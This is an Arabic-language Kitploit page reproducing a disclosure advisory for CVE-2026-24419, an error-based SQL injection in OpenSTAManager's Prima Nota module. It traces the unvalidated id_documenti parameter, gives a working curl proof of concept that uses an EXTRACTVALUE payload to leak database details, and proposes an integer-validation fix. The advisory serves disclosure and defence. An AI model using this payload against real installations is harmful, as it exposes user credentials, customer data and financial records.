Skip to content
KitploitKITPLOIT
أدواتالمدونة
إرسال
أدواتالمدونة
إرسال

أدوات الاختراق واختبار الاختراق والأمن السيبراني لترسانتك الأمنية!

Kitploit هو دليل لأدوات الاختراق والأمن السيبراني واختبار الاختراق. اكتشف آخر تحديثات المشاريع للعثور على الثغرات وتحليل الأنظمة وأتمتة الاختبارات وتعزيز أمنك.

··الخلاصات·اتصال·الخصوصية·© 2026 Kitploit

دليل الأدوات

الفئات

عرض جميع الفئات
Loading categories
CVE-2026-24419 — CVE-2026-24419 - يحتوي OpenSTAManager على ثغرة حقن SQL في وحدة Prima Nota | Kitploit
أدوات/GitHubGitHub/lukasz-rybak/cve-2026-24419
تحليل الثغرات الأمنيةاستغلال تطبيقات الويباختبار الاختراقالأوراق والأبحاثالتعلم والتعليم
GitHublukasz-rybak/cve-2026-24419

CVE-2026-24419

CVE-2026-24419 - يحتوي OpenSTAManager على ثغرة حقن SQL في وحدة Prima Nota

عرض المستودع
2منذ 5 أشهرلم تتم المراجعة بعد

الأكثر شعبية

عرض الكل →

اكتشف الأدوات الأكثر استخدامًا من قبل مجتمعنا.

استكشف جميع الأدوات

تصفح مجموعتنا من الأدوات

عرض جميع الأدوات →
مشاركة

CVE-2026-24419: حقن SQL في وحدة Prima Nota في OpenSTAManager

نظرة عامة

الحقلالتفاصيل
معرف CVECVE-2026-24419
الخطورةعالية
النشرة الأمنيةعرض النشرة
اكتُشف بواسطةLukasz Rybak

المنتجات المتأثرة

  • devcode-it/openstamanager (الإصدارات: <= 2.9.8)

تصنيف CWE

  • CWE-89: عدم التعامل السليم مع العناصر الخاصة المستخدمة في أمر SQL ('حقن SQL')

التفاصيل

الملخص

ثغرة حرجة من نوع حقن SQL القائم على الأخطاء (Error-Based SQL Injection) في وحدة Prima Nota (قيود اليومية) في OpenSTAManager v2.9.8 تسمح للمهاجمين المصادَق عليهم باستخراج محتويات قاعدة البيانات بالكامل، بما في ذلك بيانات اعتماد المستخدمين وبيانات العملاء الشخصية (PII) والسجلات المالية، وذلك عبر رسائل خطأ XML عن طريق حقن SQL خبيث في معاملات URL.

الحالة: ✅ تم التأكيد والاختبار على خادم حي (v2.9.8) المعاملات القابلة للاستغلال: id_documenti (معاملات GET) نقطة النهاية المتأثرة: /modules/primanota/add.php نوع الهجوم: حقن SQL قائم على الأخطاء (عبارة IN)

التفاصيل

يحتوي OpenSTAManager v2.9.8 على ثغرة حرجة من نوع حقن SQL القائم على الأخطاء في ملف add.php الخاص بوحدة Prima Nota (قيود اليومية). يفشل التطبيق في التحقق من أن القيم المفصولة بفواصل من معاملات GET هي أعداد صحيحة قبل استخدامها في عبارات IN() الخاصة بـ SQL، مما يسمح للمهاجمين بحقن أوامر SQL عشوائية واستخراج بيانات حساسة عبر رسائل خطأ XPATH.

سلسلة الثغرة:

  1. نقطة الدخول: /modules/primanota/add.php (الأسطر 63-67)

    root@kitploit:~
    $id_documenti = $id_documenti ?: get('id_documenti');
    $id_documenti = $id_documenti ? explode(',', (string) $id_documenti) : [];
    

    الأثر: تقوم الدالة get() بجلب معاملات URL التي يتحكم فيها المستخدم، وتقوم explode(',', (string) ...) بتقسيمها بفاصلة، لكن لا يوجد أي تحقق يضمن أن العناصر أعداد صحيحة.

  2. نقطة حقن SQL: /modules/primanota/add.php (السطر 306)

    root@kitploit:~
    $id_anagrafica = $dbo->fetchOne('SELECT idanagrafica FROM co_documenti WHERE id IN('.($id_documenti ? implode(',', $id_documenti) : 0).')')['idanagrafica'];
    

    الأثر: يتم دمج عناصر المصفوفة من $id_documenti مباشرة باستخدام implode() دون التحقق من النوع أو استخدام prepare()، مما يتيح حقن SQL كامل.

تحليل السبب الجذري:

توجد الثغرة للأسباب التالية:

  1. الدالة get('id_documenti') تُرجع نصوصًا يتحكم بها المستخدم
  2. explode(',', (string) $value) يقسم حسب الفاصلة دون التحقق من الأنواع
  3. implode(',', $array) يدمج عناصر المصفوفة مباشرة في استعلام SQL
  4. لا يوجد تحقق يضمن أن عناصر المصفوفة أعداد صحيحة
  5. يمكن للمهاجم حقن SQL بتقديم: ?id_documenti=1) AND EXTRACTVALUE(...) %23

مسار الكود المتأثر:

root@kitploit:~
GET /modules/primanota/add.php?id_documenti=MALICIOUS_PAYLOAD
  ↓
add.php:63 - $id_documenti = get('id_documenti')
  ↓
add.php:64 - $id_documenti = explode(',', (string) $id_documenti) [NO TYPE VALIDATION]
  ↓
add.php:306 - WHERE id IN('.implode(',', $id_documenti).') [INJECTION POINT]

إثبات الاختراق (PoC)

الخطوة 1: تسجيل الدخول

root@kitploit:~
curl -c /tmp/cookies.txt -X POST 'http://localhost:8081/index.php?op=login' \
  -d 'username=admin&password=admin'

الخطوة 2: التحقق من وجود الثغرة (حقن SQL قائم على الأخطاء)

الاختبار 1: استخراج مستخدم قاعدة البيانات والإصدار

root@kitploit:~
curl -b /tmp/cookies.txt "http://localhost:8081/modules/primanota/add.php?id_documenti=1)%20AND%20EXTRACTVALUE(1,CONCAT(0x7e,(SELECT%20CONCAT(USER(),'%20|%20',VERSION()))))%23"

الاستجابة (رسالة الخطأ الظاهرة للمهاجم):

root@kitploit:~
<code>SQLSTATE[HY000]: General error: 1105 XPATH syntax error: &#039;[email protected] | 8.3.0&#039;</code>
صورة

الأثر

جميع المستخدمين المصادَق عليهم الذين لديهم إمكانية الوصول إلى وحدة Prima Nota (قيود اليومية).

الإصلاح الموصى به

الإصلاح الأساسي — التحقق من النوع:

الملف: /modules/primanota/add.php

قبل (العرضة للثغرة — الأسطر 63-67):

root@kitploit:~
$id_documenti = $id_documenti ?: get('id_documenti');
$id_documenti = $id_documenti ? explode(',', (string) $id_documenti) : [];

بعد (الإصلاح):

root@kitploit:~
$id_documenti = $id_documenti ?: get('id_documenti');
$id_documenti = $id_documenti ? explode(',', (string) $id_documenti) : [];
// Validate that all array elements are integers
$id_documenti = array_map('intval', $id_documenti);
$id_documenti = array_filter($id_documenti, fn($id) => $id > 0); // Remove zero/negative IDs

الاعتمادات

اكتُشف بواسطة Łukasz Rybak

المراجع

  • https://github.com/devcode-it/openstamanager/security/advisories/GHSA-4j2x-jh4m-fqv6
  • https://nvd.nist.gov/vuln/detail/CVE-2026-24419
  • https://github.com/advisories/GHSA-4j2x-jh4m-fqv6

إخلاء المسؤولية

تم الإفصاح عن ثغرة CVE هذه بشكل مسؤول وفقًا لممارسات الإفصاح المنسق عن الثغرات الأمنية. المعلومات الواردة هنا مقدمة لأغراض تعليمية ودفاعية فقط.

تنزيل الأداة